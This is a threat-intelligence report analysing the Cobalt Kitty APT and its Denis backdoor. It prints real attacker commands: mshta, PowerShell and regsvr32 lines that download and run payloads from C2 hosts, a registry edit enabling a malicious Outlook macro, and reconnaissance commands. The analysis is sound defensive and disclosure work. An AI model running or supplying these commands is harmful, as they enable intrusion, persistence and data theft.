Cybereason Labs Analysis Operation Cobalt Kitty

Operation Cobalt Kitty
Cybereason Labs Analysis

By: Assaf Dahan
©2016 Cybereason. All rights reserved. 1

Attack Lifecycle
By: Assaf Dahan

Table of Contents
Detailed attack lifecycle
Penetration phase
Fake Flash Installer delivering Cobalt Strike Beacon
Word File with malicious macro delivering Cobalt Strike Beacon
Post infection execution of scheduled task
Establishing foothold
Windows Registry
Windows Services
Scheduled Tasks
Outlook Persistence
C2 Communication
Cobalt Strike Fileless Infrastructure (HTTP)
C&C payloads
Cobalt strike Malleable C2 communication patterns
Variant of Denis Backdoor using DNS Tunneling
Outlook Backdoor Macro as C2 channel
Custom NetCat
Internal reconnaissance
Internal Network Scanning
Information gathering commands
Vulnerability Scanning using PowerSploit
Lateral movement
Obtaining credentials
Mimikatz
Gaining Outlook credentials
Pass-the-hash and pass-the-ticket
Propagation via Windows Admin Shares
Windows Management Instrumentation (WMI)
©2017 Cybereason Inc. All rights reserved. 1

Detailed attack lifecycle
The advanced persistent threat Operation Cobalt Kitty targeted a global corporation and was
carried out by highly skilled and very determined adversaries. This report provides a
comprehensive, step-by-step technical account of how the APT was carried out by the
OceanLotus Group, diving into their work methods throughout APT lifecycle. Like other
reported APTs, this attack “follows” the stages of a classic attack lifecycle (aka cyber kill-chain),
which consists of these phases:
1. Penetration
2. Foothold and persistence
3. Command & control and data exfiltration
4. Internal reconnaissance
5. Lateral movement

1. Penetration phase
The penetration vector in this attack was social engineering, specifically spear-phishing attacks
against carefully selected, high-profile targets in the company. Two types payloads were found
in the spear-phishing emails:
1. Link to a malicious site that downloads a fake Flash Installer delivering Cobalt Strike
Beacon
2. Word documents with malicious macros downloading Cobalt Strike payloads
Fake Flash Installer delivering Cobalt Strike Beacon

The victims received a spear-phishing email using a pretext of applying to a position with the
company. The email contained a link to a redirector site that led to a download link, containing a
fake Flash installer. The fake Flash installer launches a multi-stage fileless infection process.
This technique of infecting a target with an fake Flash installer is consistent with the OceanLotus
Group and has been documented in the past.

Download Cobalt Strike payload - The fake Flash installer downloads an encrypted payload
with shellcode from the following URL: hxxp://110.10.179(.)65:80/ptF2
Word File with malicious macro delivering Cobalt Strike Beacon

Other types of spear-phishing emails contained Microsoft Office Word attachments with different
file names, such as CV.doc and Complaint_Letter.doc.
The malicious macro creates two scheduled tasks that download files camouflaged as “.jpg”
files from the C&C server:
Scheduled task 1:

Scheduled task 2:
The two scheduled tasks are created on infected Windows machines:
Post infection execution of scheduled task

Example 1: Fileless downloader delivers Cobalt Strike Beacon
The purpose of the scheduled task is to download another payload from the C&C
server:
schtasks /create /sc MINUTE /tn "Windows Error Reporting" /tr "mshta.exe about:'<script
language=\"vbscript\" src=\"hxxp://110.10.179(.)65:80/download/microsoftp.jpg\">code close</script>'"
/mo 15 /F
The content of the “microsoftp.jpg” is a script that combines vbscript and PowerShell:
SHA-1: 23EF081AF79E92C1FBA8B5E622025B821981C145
That downloads and executes an additional payload from the same server with a slightly
different name “microsoft.jpg”.
Obfuscated PowerShell delivering Cobalt Strike Beacon - The contents of the

“microsoft.jpg” file is, in fact, an obfuscated PowerShell payload (obfuscated with Daniel
Bohannon’s Invoke-obfuscation).
microsoft.jpg, SHA-1: C845F3AF0A2B7E034CE43658276AF3B3E402EB7B
Quick memory analysis of the payload reveals that it is a Cobalt Strike Beacon, as seen in the
strings found in the memory of the PowerShell process:
Example 2: Additional Cobalt Strike delivery method
Cybereason observed another method of Cobalt Strike Beacon delivery in infected machines.
Once the initial PowerShell payload is downloaded from the server, it will pass an obfuscated
and XOR’ed PowerShell payload to cmd.exe:
The payload is decrypted to the following PowerShell downloader one-liner:

IEX ((new-object net.webclient).downloadstring(‘hxxp://27.102.70(.)211:80/image.jpg'))
The PowerShell process will then download the new ‘image.jpg’ payload, which is actually
another obfuscated PowerShell payload:
image.jpg - 9394B5EF0B8216528CED1FEE589F3ED0E88C7155

Once executed by PowerShell, the embedded script was identified as Cobalt Strike Beacon:
2. Establishing foothold
Gaining persistence is one of the attack’s most important phases. It insures that the malicious
code will run automatically and survive machine reboots.
The attackers used trivial but effective persistence techniques to ensure that their malicious
tools executed constantly on the infected machines. Those techniques consist of:
● Windows Registry Autorun
● Windows Services
● Windows Scheduled Tasks
2.1. Windows Registry
The attackers used the Windows Registry Autorun to execute VBScript and PowerShell scripts
residing in the ProgramData folder, which is hidden by default:
HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Java Update Schedule Check

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\syscheck
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\DHCP Agent
HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activation Checker
HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Update
Examples of the values of the above registry keys:
The purpose of those .vbs scripts was to launch Cobalt Strike PowerShell scripts mainly
consisting of Cobalt Strike Beacon. Some of the files found in ProgramData appear to be .txt
files. However, their content is VBscript.
In addition, the attackers used NTFS Alternate Data Stream to hide their payloads. This is a
rather old trick to hide data from the unsuspecting users and security solutions.
The code inside the ‘hidden’ .txt file launches a PowerShell process with a base64-encoded
command:
This PowerShell commands decodes to:

Invoke-Expression C:\ProgramData\Microsoft\SndVolSSO.ps1
This launches a PowerShell script, which loads an obfuscated and encoded Cobalt Strike’s
beacon payload:
2.2. Windows Services
The attackers created and/or modified Windows Services to ensure the loading of the
PowerShell scripts on the compromised machines. These scripts are mostly PowerShell-
encoded Cobalt Strike’s Beacon payloads:
Backdoor exploits DLL hijacking against Wsearch Service
According to Microsoft’s documentation, Windows Search Service (Wsearch), which is a default

component in Windows OS, runs automatically. Once Wsearch starts, it launches
SearchIndexer.exe and SearchProtocolHost.exe applications. These applications are vulnerable
to “Phantom DLL Hijacking” and were exploited in other targeted attacks.
The attackers placed a fake “msfte.dll” under the system32 folder, where the vulnerable
applications reside by default. This ensured that the fake “msfte.dll” would be loaded each time
Wsearch launched these applications:
For further details about the backdoor, please refer to Cobalt Kitty Attacker’s Arsenal: Deep dive
into the tools used in the APT.
2.3. Scheduled Tasks

The attackers used scheduled tasks to ensure the malicious payloads ran in predetermined
timeframes:
PowerShell Loader:
Google Update:
The attackers exploited a DLL hijacking vulnerability in a legitimate Google Update binary,
which was deployed along with a malicious DLL (goopdate.dll). By default, GoogleUpdate.exe
creates a scheduled task that checks if a new version of Google products is available.
As a result, each time GoogleUpdate.exe application ran, it automatically loaded the malicious
goopdate.dll:
For further details about the backdoor, please refer to Cobalt Kitty Attacker’s Arsenal: Deep dive
into the tools used in the APT.
2.4. Outlook Persistence

The attackers used a malicious Outlook backdoor macro to communicate with the C2 servers
and exfiltrate data. To make sure the malicious macro ran, they edited a specific registry value
to create persistence:
/u /c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook" /v

"LoadMacroProviderOnBoot" /f /t REG_DWORD /d 1

3. C2 Communication
The attackers used different techniques and protocols to communicate with the C&C servers:
3.1. Cobalt Strike Fileless Infrastructure (HTTP)

The attackers chose to implement a multi-stage payload delivery infrastructure in the first phase
of the attack. The motivation for fileless operation is clear: this approach has a low forensic
footprint since most of the payloads are downloaded from the C&C and executed in-memory
without touching the disk.
Multi-Stage Payload Delivery

PowerShell downloader
A PowerShell one-liner downloads and executes a PowerShell payload from the C&C server.
Regsvr32.exe downloader command (COM Scriptlet)

The fileless infrastructure also used another type of downloader, which is based on COM
scriptlets (.sct). This technique is well documented and has been used extensively in the last
year.
The attackers downloaded COM scriptlets using regsvr32.exe:

regsvr32 /s /n /u /i:hxxp://support.chatconnecting(.)com:80/pic.png scrobj.dll
C&C payloads
Following are a few examples of C&C payloads used as part of the fileless payload delivery
infrastructure.
Example 1: Second Stage PowerShell Script

This .txt file is actually a base64-encoded PowerShell payload that contains a shellcode:

File Name: login.txt, SHA-1: 9f95b81372eaf722a705d1f94a2632aad5b5c180
The shellcode downloads additional payload from the URL: hxxp://food(.)letsmiles(.)org/9niL

Example 2: Second Stage COM Scriptlet Payload
The regsvr32.exe downloader command downloads the following COM scriptlet, which contains
an embedded shellcode:
File Name: pic.png, SHA-1: f3e27ad08622060fa7a3cc1c7ea83a7885560899
The shellcode downloads a payload from the following URL:

hxxp://45(.)114.117.137/eXYF
Final payload: Cobalt Strike Beacon

Analysis of the final stage payloads (such as “9niL” / “eXYF”) clearly shows that they are Cobalt
Strike Beacons:

3.2. Cobalt strike Malleable C2 communication
patterns
Another confirmation that the attackers used Cobalt Strike’s infrastructure came from the
analysis of the network traffic. The analyzed traffic matched Cobalt Strike’s Malleable C2.
The attackers used the Amazon, Google Safe Browsing, Pandora and OSCP profiles in this
attack, all of which are publicly available in Github:
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/pandora.profile
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/oscp.profile
A .pcap file that was recorded during the execution of the Cobalt Strike payloads clearly shows
the usage of the Malleable C2 profiles, in that case - the “safebrowsing.profile”:

Another example is the Amazon profile, generated by another Cobalt Strike payload:
3.3. Variant of Denis Backdoor using DNS Tunneling

During the investigation, an analysis of the backdoor’s traffic revealed that the attackers
implemented DNS tunneling channel for C2 communication and data exfiltration. The DNS
tunneling channel was observed being used by the PowerShell payloads as well as the fake
DLLs (msfte.dll and goopdate.dll). In attempt to disguise the real IP/domain of the C&C server,
the backdoor communicates with the following DNS servers instead of communicating directly
with the C&C servers:
Google DNS server: 8.8.8.8
OpenDNS server: 208.67.222.222
By communicating with known DNS servers, the attackers ensured that the backdoor’s traffic
will not be filtered by firewalls and other security products since it’s unlikely for most
organizations to block OpenDNS and Google’s DNS servers.
Example of DNS tunneling can be seen in this instance of ARP.exe that was spawned by
searchindexer.exe, which loaded the fake msfte.dll:

Upon inspection of the DNS traffic, the real C&C domain is revealed inside the DNS queries:
Real C&C domain: z.teriava(.)com

3.4. Outlook Backdoor Macro as C2 channel
During the third phase of the attack, the attackers used an advanced technique that turned
Microsoft Outlook into a C2 channel by replacing the email program’s original VbaProject.OTM
macro container with a malicious one containing a backdoor functionality. Using this backdoor,
the attackers managed to send system commands via emails from a Gmail address and
exfiltrate data.
The decoded malicious macro is loaded after boot and constantly looks for incoming emails
containing the strings $$cpte and $$ecpte.
The attacker’s command embed their commands between those two strings.
The same technique was used to steal and exfiltrate sensitive company data, as seen in the
screenshots below:
Outlook spawns two cmd.exe shells:
The command lines of the following cmd.exe instances clearly show that the attackers were
gathering information and exfiltrating specific documents:
cmd.exe /C “ ipconfig > %temp%.log.txt

cmd.exe /C “ c:\Users\[redacted]\Desktop\[Redacted_File_name].xls %temp%”
3.5. Custom NetCat

Another C2 communication tool used by the attackers was a custom version of the famous
Netcat tool (aka, tcp/ip Swiss Army knife) from GitHub. Using the previously installed backdoor,
the attackers uploaded and executed this customized version of NetCat on several machines:

The NetCat binary was renamed “kb-10233.exe”, masquerading as a Windows update, in order
to look less suspicious. The sample’s SHA-1 hash is:
c5e19c02a9a1362c67ea87c1e049ce9056425788,
which is the exact match to the customized version of Netcat found on Github.
In addition, examining the command line arguments reveals that the attackers also were aware
of the proxy server deployed in the environment and configured the IP and port accordingly to
allow them external connection to the C&C server:
4. Internal reconnaissance
After the attackers established a foothold on the compromised machines and established C2
communication, they scanned the network, enumerated machines and users and gathered more
information about the environment.
4.1. Internal Network Scanning

During the attack, Cybereason observed network scanning against entire ranges as well as
specific machines. The attackers were looking for open ports, services, OS finger-printing and
common vulnerabilities:
Cybereason detected the following PowerShell instance with an Base64 encoded command:
powershell -nop -exec bypass -EncodedCommand
"SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbA
BpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB
0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAyADQANwA5ADIALwAnACkAOwAg
AFMAYwBhAG4AIAAxADkAMgAuADEANgA4AC4AOAAuADAALQAyADUANAAgAC0AbwBzA
CAALQBzAGMAYQBuAHAAbwByAHQAIAAgACAAIAAgACAAIAAgACAAIAAgAA=="
Decoded Base64 PowerShell command:

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:24792/'); Scan 192.168.x.x-
254 -os –scanport
As the screenshot below shows, the attackers launched port scanning against common ports:
4.2. Information gathering commands

The attackers used several tools built into the Windows OS to gather information on the
environment’s network and its users. Those tools included netsh, ipconfig, netstat, arp, net
user/group/localgroup, nslookup and Windows Management Instrumentation (WMI).
The following are a few examples of command line arguments that were used to gather
information on the infected hosts and the network:
Command Purpose
net localgroup administrators Enumerating admin users
net group "Domain Controllers" /domain Enumerating DC servers
klist tickets Displaying Kerberos Tickets
dir \\[IP_redacted]\c$ Displaying files on net share
netstat -anpo tcp Displaying TCP connections
ipconfig /all Displaying Network adapter information
ping [hostname_redacted] -n 1 Pinging a host
net view \\[redacted] /all Shows all shares available, including
administrative shares like C$ and admin$
netsh wlan show interface Displaying Wireless adapter properties
route print Displaying a list of persistent routes
WHOAMI Outputs the owner of the current login session
(local, admin, system)
WMIC path win32_process get Searching for the process ID of OUTLOOK, in
Caption,Processid,Commandline | findstr order to restart it, so it would load the
OUTLOOK malicious vbaproject.otm file
4.3. Vulnerability Scanning using PowerSploit
Once the Cobalt Strike Beacon was installed, the attackers attempted to find privilege escalation
vulnerabilities that they could exploit on the compromised hosts. The following example shows a
command that was run by a spawned PowerShell process:
powershell -nop -exec bypass -EncodedCommand

"SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAb
gB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AM
QAyADcALgAwAC4AMAAuADEAOgAyADUAMwA4AC8AJwApADsAIABJAG4AdgBvAGsAZQAtAEEAbA
BsAEMAaABlAGMAawBzAA=="
The encoded command decodes to -

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:2538/'); Invoke-AllChecks
The Invoke-AllChecks command is indicative to the PowerUp privilege escalation “scanner”,

which is part of the PowerSploit project.
5. Lateral movement
The attackers compromised more than 35 machines, including the Active Directory server, by
using common lateral movement techniques including pass-the-hash and pass-the-ticket and
Windows applications such as net.exe and WMI.
5.1. Obtaining credentials

Before the attackers could spread to new machines, they had to obtain the necessary
credentials, such as passwords, NTLM hashes and Kerberos tickets. To obtain these
credentials, the attackers used various, known tools to dump locally stored credentials.
The attackers mainly used Mimikatz, which was customized in a way that ensured antivirus
products wouldn’t detect it.
Other tools used to obtain credentials included:

● Modified Window’s Vault Password Dumper - A PowerShell version of a known
password dumping tool, which was modified in order to accommodate additional
functionality and to evade antivirus.
● Hook Password Change - Modified version of the a tool found on Github. This tool
alerts the attackers if passwords are changed by hooking specific functions in the
Windows OS. This provided the attackers a workaround to the frequent password resets
ordered by the IT department during the attack.
5.1.1. Mimikatz
The main tool used to obtain credentials from the compromised machines was a obfuscated and
sometimes slightly modified versions of Mimikatz, a known password dumping tool, whose
source code is freely available on GitHub. The attackers used at least 14 different versions of
Mimikatz using different techniques to evade antivirus detection:

The following screenshot shows examples of the command line arguments indicative of
Mimikatz that were that were used in the attack:
5.1.2. Gaining Outlook credentials

In addition to Windows account credentials, the attackers also targeted the Outlook credentials
of selected high-profile employees. The attackers modified a known password dumper in order
to make it more Outlook-oriented. The binary version of this tool is detected by most antivirus
vendors so the attackers ported it to PowerShell, making it stealthier. However, in order to use
the PowerShell version, the attackers had to overcome measures that were put in place to
restrict PowerShell execution.
The attackers used a modified version of a publicly available tool called PSUnlock to bypass the
PowerShell execution restrictions. Here’s an example of this tool being used:
rundll32 C:\ProgramData\PShdll35.dll,main -f C:\ProgramData\doutlook.ps1
The purpose of the doutlook.ps1 (SHA-1: ebdd6059da1abd97e03d37ba001bad4aa6bcbabd)

script becomes very clear when observing the memory strings of the Rundll32.exe process:
5.2. Pass-the-hash and pass-the-ticket

Cybereason detected multiple lateral movement techniques that were used during the attack.
The attackers successfully carried out pass-the-hash and pass-the-ticket attacks using stolen
NTLM hashes and Kerberos tickets from compromised machines.
The attackers managed to compromise a domain admin account. Using the compromised
administrative account, the attackers moved laterally, deployed their tools and mass-infected
other machines. More instances of lateral movements were observed using other compromised
accounts during the different stages of the attack.
Example 1: Deploying Mimikatz on remote machines

The attackers deployed a customized Mimikatz using stolen credentials from an administrative
account, which they used to carry out a pass-the-hash attack:

Example 2: Gaining remote access using pass-the-ticket attack
5.3. Propagation via Windows Admin Shares

Another lateral movement technique that was used extensively in the attack involved using the
Windows Admin Shares via the built-in Windows “net.exe” tool. This technique uses Windows’
hidden network shares, which administrators can only access and use to copy their tools to
remote machines and execute them.

The screenshot below show an example of this technique being used in the attack:
5.4. Windows Management Instrumentation (WMI)

The attackers used a well-documented lateral movement technique that abuses Windows
Management Instrumentation (WMI) and “Net User” commands to deploy their tools on remote
machines.
Example: Infecting other machines with Denis backdoor

Using WMI and the stolen credentials, the attackers copied the backdoor DLL (msfte.dll) to the
target machine:
To ensure that the fake msfte.dll will be loaded by SearchIndexer.exe / SearchProtocolHost.exe

processes, the attackers had to restart the Wsearch service.
Stopping the Wsearch service
Starting the Wsearch service

Once the service is started again, the malicious msfte.dll will be loaded by the
searchindexer.exe application:

Attackers' Arsenal
By: Assaf Dahan

Table of Contents
Introduction
Meet Denis the Menace: The APT’s main backdoor

Description
3-in-1: Phantom DLL hijacking targeting Microsoft’s Wsearch
Functionality
Static analysis
Dynamic analysis
Variation in process injection routines
The backdoor code
C2 communication
Second backdoor: “Goopy”

Analysis of Goopy
DLL side loading against legitimate applications
Outlook backdoor macro
Cobalt Strike
COM Scriptlets (.sct payloads)
Obfuscation and evasion

Don’t-Kill-My-Cat
Invoke-obfuscation (PowerShell Obfuscator)
PowerShell bypass tool (PSUnlock)
Credential dumpers
Mimikatz
GetPassword_x64
Custom “HookPasswordChange”
Custom Outlook credential dumper
Custom Windows credential dumper
Modified NetCat
Custom IP check tool

Introduction
During the investigation, Cybereason recovered over 80 payloads that were used during the
four stages of the attack. Such a large number of payloads is quite unusual and further
demonstrates the attackers’ motivation to stay under the radar and avoid using the same
payloads on compromised machines. At the time of the attack, only two payloads had file
hashes known to threat intelligence engines, such as VirusTotal.
This arsenal is consistent with previous documentations of the OceanLotus Group. But it also
includes new custom tools that were not publicly documented in APTs carried out either by
the OceanLotus Group or by threat actors.
The payloads can be broken down into three groups:
Payload type Total Main payloads Previously

number reported being
used by
OceanLotus?
Binary files 46 ● Variant of the Denis Backdoor (msfte.dll) No**

(.exe and .dll ● Goopy Backdoor (goopdate.dll) No**
files) ● Cobalt Strike's Beacon Yes
● Mimikatz Yes
● GetPassword_x64 No
● PSUnlock No
● NetCat No
**found on ● HookPasswordChange No
compromised ● Custom Windows Credential Dumper No
machines ● Custom IP tool No
Scripts 24 ● Backdoor - PowerShell version No**

(PowerShell + ● Outlook Backdoor (Macro) No**
VBS) ● Cobalt Strike Downloaders / Loaders / Yes
Stagers
**found on ● Cobalt Strike Beacon Yes
compromised ● Custom Windows Credential Dumper No
machines ● Custom Outlook Credential Dumper No
● Mimikatz Yes
● Invoke-Obfuscation (PowerShell Obfuscator) Yes
● Don’t-Kill-My-Cat (Evasion/Obfuscation Too) Yes
C&C 18 ● Cobalt Strike Downloaders / Stagers Yes

Payloads ● Cobalt Strike Beacon Yes
● COM scriptlets (downloaders) Yes
** OceanLotus is said to use tools with similar capabilities, however, no public documentation is available to
determine whether the tools are the same.

Meet Denis the Menace: The APT’s main backdoor
Description
The main backdoor was introduced by the attackers during the second stage of the attack, after
their PowerShell infrastructure was detected and shut down. Cybereason spotted the main
backdoor in in December 2016:
This backdoor was dubbed “Backdoor.Win32.Denis” by Kaspersky, which published their

analysis of it in March 2017. However, quite possibly, the is evidence of this backdoor being
used “in-the-wild” back in August 2016. At the time of the attack, the backdoor was not
previously known or publicly analyzed in the security community. The backdoor used in the
attack is quite different from the samples analyzed by Kaspersky and other samples caught “in-
the-wild”:
Cobalt Kitty “Denis” Variants Backdoor.Win32.Denis
File Type .dll + .ps1 .exe

Vessel Legitimate applications vulnerable to Standalone executables
DLL hijacking / PowerShell
Loader and Loader decrypts the backdoor payload No injection to host

Process and injects to host processes: processes documented
Injection rundll32.exe / svchost.exe / arp.exe /
PowerShell.exe
Anti analysis More sophisticated anti-debugging anti- Anti-analysis tricks exist,

tricks emulation tricks were put to hinder however, fewer and simpler
analysis
In terms of the backdoor’s features, it has similarities to the backdoor (SOUNDBITE), described
in FireEye’s report about APT32 (OceanLotus). However, FireEye’s analysis of this backdoor is
not publicly available. Therefore, Cybereason cannot fully determine whether SOUNDBITE
and Denis are the same backdoor, even though the likelihood seems rather high.
The backdoor’s main purpose was to provide the attackers with a “safe” and stealthy channel to
carry out post-exploitation operations, such as information gathering, reconnaissance,
lateral movement and data collection (stealing proprietary information). The backdoor uses
DNS Tunneling as the main C2 channel between the attackers and the compromised hosts.
The backdoor was mainly exploiting a rare “phantom DLL hijacking” against legitimate
Windows Search applications. The attacker also used a PowerShell version of the backdoor on
a few machines. However, the majority came in a DLL format.
Most importantly, the analysis of the backdoor binaries strongly suggests that the binaries used
in the attack were custom made and differ from other binaries caught in the wild. The binaries
were generated using a highly-sophisticated PE modification engine, which shows the threat
actor’s high level of sophistication.
Four variants of the main backdoor were found in the environment:
File name Variation type SHA-1 hash
msfte.dll Injected host process: 638B7B0536217C8923E856F4138D9CA

svchost.exe FF7EB309D
msfte.dll Injected host process: BE6342FC2F33D8380E0EE5531592E9F

rundll32.exe 676BB1F94
msfte.dll Injects host process: 43B85C5387AAFB91AEA599782622EB9

arp.exe D0B5B151F
PowerShell #1: Injected host process: 91E9465532EF967C93B1EF04B7A906A

Sunjavascheduler.ps1 PowerShell.exe A533A370E
SndVolSSO.ps1 (via reflective DLL injection)
PowerShell #2: 0d3a33cb848499a9404d099f8238a6a0e0
SCVHost.ps1

a4b471
3-in-1: Phantom DLL hijacking targeting Microsoft’s Wsearch

The “msfte.dll” payloads exploits a rather rare “phantom DLL hijacking” vulnerability against
components of Microsoft’s Windows Search to gain stealth, persistence and privilege
escalation all at once. There are only a few documented cases where it was used in an APT.
This vulnerability is found in all supported Windows versions (tested against Windows 7 to 10)
against the following applications:
SearchIndexer.exe (C:\Windows\System32\)
SearchProtocolHost.exe (C:\Windows\System32\)
These applications play a crucial role in Windows’ native search mechanism, and are launched
automatically by the Wsearch service, meaning that they also run as SYSTEM. From an
attacker perspective, exploiting these applications is very cost effective since it allows them to
achieve two goals simultaneously: persistence and privilege escalation to SYSTEM.
The core reason for this lies in the fact that these applications attempt to load a DLL called
“msfte.dll.” This DLL does not exist by default on Windows OS, hence, the name “phantom
DLL”. Attackers who gain administrative privileges can place a fake malicious “msfte.dll” under
“C:\Windows\System32\”, thus ensuring that the DLL will be loaded automatically by
SearchIndexer.exe and SearchProtocolHost.exe without properly validating the integrity of
the loaded module:

*** Following responsible disclosure, this vulnerability was reported to Microsoft on April
1, 2017.
Functionality
The fake msfte.dll is not the core backdoor payload. It serves as a loader whose purpose is to
load the malicious code in a stealthy manner that will also ensure persistence. The actual
payload is decoded in memory and injected to other Windows host processes, such as:
svchost.exe, rundll32.exe and arp.exe. Once the core payload is injected, the backdoor will
commence C2 communication using DNS tunneling. The backdoor will send details about the
infected host, network and the users to the C&C server, and will wait for further instructions from
its operators. The main backdoor actions, as observed by Cybereason, consisted of:
● Deploying additional backdoors (goopdate.dll + Outlook backdoor)
● Reconnaissance and lateral movement commands (via cmd.exe)
● Deploying other hacking tools (Mimikatz, NetCat, PowerShell bypass tool, etc.)
The backdoor gives its operator the ability to perform different tasks on the infected machines,
depending on the commands (flags) received from C&C:
● Create/delete/move files and directories

● Execute shell commands used for reconnaissance and information gathering
● Enumerate users, drivers and computer name
● Query and set registry keys and values

Static analysis
The msfte.dll loader payloads were all compiled during the time of the attack, showing that the
attackers were preparing new samples on the fly. All observed loader payloads are 64-bit
payloads. However, the actual backdoor payload is always 32-bit (using WOW64). This is a
rather peculiar feature of this backdoor. The core backdoor payload was compiled using
Microsoft Visual Studio (C++), however, the loader does not carry any known compiler
signatures.
Another sign that the loader’s code was custom-built can be found when examining instructions
in the code that are clearly not compiler-generated. Instructions like CPUID, XMM
instructions/registers, xgetbv, as well as others, were placed within the binaries for the obvious
reason of anti-emulation. In addition, the loader’s code also contain many “common” anti-
debugging tricks, using APIs such as: IsDebuggerPresent(), OutputDebugString(),
SetLastError() and more.
The file structure does not contain any unusual sections:
However, the resources section does contains a base64-encoded payload:

When decoding the base64 resource, there’s a large chunk of shellcode that is followed by a
corrupted PE file, whose internal name is “CiscoEapFast.exe”:
It’s interesting to mention that several samples of the Denis Backdoor that were caught in the
wild (not as part of this attack), were also named CiscoEapFast.exe. Please see the
Attackers’ Profile and Indicators of Compromise section for more information.
This embedded executable is the actual payload that is injected to the Windows host processes,
once the fake DLL is loaded and executed.

The loader’s export table lists over 300 exported functions. This is highly unusual for malware,
and is one of the most intriguing features:
If we take a look at the address that this RVA translates to in a live instance of msfte.dll (Image
base + 0x1060) here is what we see:
In other words, the author simply created a small do-nothing function (that just exits the current
process) for all of the exports to resolve to. Exports like this would have been generated at
compile-time, or implanted here using a highly sophisticated PE modification engine. This
indicates that this entire attack was planned in advance and that this binary was custom-built
to hijack specific applications. Indications of such pre-meditated design were found during
the attack, when more backdoor variants were discovered exploiting DLL-hijacking against
legitimate Kaspersky and Google applications.
Take the ability to exploit Kaspersky’s AVPIA application. Examination of the exported functions
clearly show that the attackers generated the same exports (e.g “CreateSetupProductInfo”) that
are found in a legitimate Kaspersky’s product_info.dll:
Exports of a legitimate product_info.dll Exports of msfte.dll backdoor
File name: product_info.dll File name: msfte.dll

SHA-1: 6a8c955e5e17ac1adfecedabbf8dcf0861a74f7 SHA-1:
C6a8c955e5e17ac1adfecedabbf8
dcf0861a74f7

Dynamic analysis
When the fake msfte.dll is loaded to searchindexer.exe or searchprotocolhost.exe, one of the
first steps it takes is to dynamically resolve critical APIs, using the good ol’ GetProcAddress()
and LoadLibrary() combination:

Then the loader will load the base-64 encoded payload from the resources section:
Variation in process injection routines

As mentioned earlier, the msfte.dll samples showed variation in the target host processes for
injection (svchost.exe, rundll32.exe and arp.exe). However, there’s also a variation in the
injection technique that was used to inject the payloads:
Process Injection Process Hollowing

Target host processes: rundll32.exe Target host processes: svchost.exe / arp.exe
Determining the path of target host process: Determining the path of target host process:
GetSystemDirectoryA → PathAppendA → GetSystemDirectoryA → PathAppendA →
Process Injection routine: Process Hollowing routine:

CreateProcessA → VirtualAllocEx → CreateProcessA → VirtualAllocEx →
WriteProcessMemory → CreateRemoteThread WriteProcessMemory → Wow64GetThreadContext →
Wow64SetThreadContext → ResumeThread
Why the backdoor authors chose to implement two different process injection techniques is
unclear. But these implementations lead to some clear conclusions:
1. The use of PathAppendA API is common to both injections. This is a rather obscure API
that is not commonly observed in malware, at least not in the context of code injection.
2. Use of a less-common process hollowing implementation:
This style of process hollowing is quite uncommon. Usually in process hollowing, the
ZwUnmapViewOfSection or NtUnmapViewOfSection API functions are used to unmap
the original code. But in this case, the original target host process code is not mapped
out. Instead, the loader uses the Wow64SetThreadContext API to change the EAX
register to point to the malicious payload entry point rather than the entry point of the
original/authentic svchost executable in memory.

3. The use of Wow64 APIs indicates that the author went specifically out of their way to
utilize a 32-bit payload system, even thought that the loaders are 64-bit payloads.
The backdoor code

The injected payload consists of a long shellcode payload that is followed by a PE file, whose
MZ header as well as other sections of the PE structure have been corrupted for anti-analysis
purposes and also possibly to evade memory-based security solutions:
The purpose of the shellcode is to dynamically resolve the imports as well as to fix the
destroyed PE sections on the fly. The first step is to resolve kernel32.dll in order to import
GetProcAddress() and LoadLibrary() and through them dynamically resolve the rest of the
imported APIs:
Resolving GetProcAddress():

Once the repair is done, the shellcode will create a new RWX region, and copy the PE there,
leaving the MZ header remains corrupted:
The PE’s metadata contains the file name (“ciscoeapfast.exe”) and description (“Cisco EAP-
FAST Module”). The metadata must have been manually altered by the backdoor authors to
make it look like a credible product:
SHA-1: E9DAB61AE30DB10D96FDC80F5092FE9A467F2CD3
The strings “ciscoeapfast.exe” and “Cisco EAP-FAST Module” were found in most of the
samples of the Denis backdoor that were recovered during the investigation. In addition, the

threat actor has been using it in other attacks as well. Please see our Attackers’ Profile &
Indicators of Compromise section of this report.
Finally, the backdoor will decrypt important strings, such as IPs and domain names that are
necessary for the C&C communication via DNS Tunneling.
Excerpt from the domain decryption subroutine:
The following screenshot shows the final decrypted strings used for the DNS Tunneling
communication:
● DNS Server IPs: 208.67.222.222 (OpenDNS) and Google (8.8.8.8)
● Domain name: teriava(.)com

C2 communication
As mentioned before, the backdoor uses a stealthy C2 communication channel by implementing
DNS Tunneling. This technique uses DNS packets to transfer information between two hosts. In
general, this technique is considered to be rather stealthy since not many security products
perform deep packet inspection, which would detect this activity. The backdoor authors added
even more stealthy components to this technique and made sure that no direct connection was
established between the compromised machines and the real C&C servers.
The attackers used trusted DNS servers, such as OpenDNS and Google’s DNS servers, in
order to resolve the IPs of the domains that were hidden inside the DNS packets. Once the
packets reached the real C&C server, the base64-encoded part is stripped, decoded and re-
assembled, thus enabling communication as well as data exfiltration. This is a rather slow yet
smart way to ensure that the traffic will not be filtered, since most organizations will not block
DNS traffic to Google or OpenDNS servers. This technique’s biggest caveat is that it can get
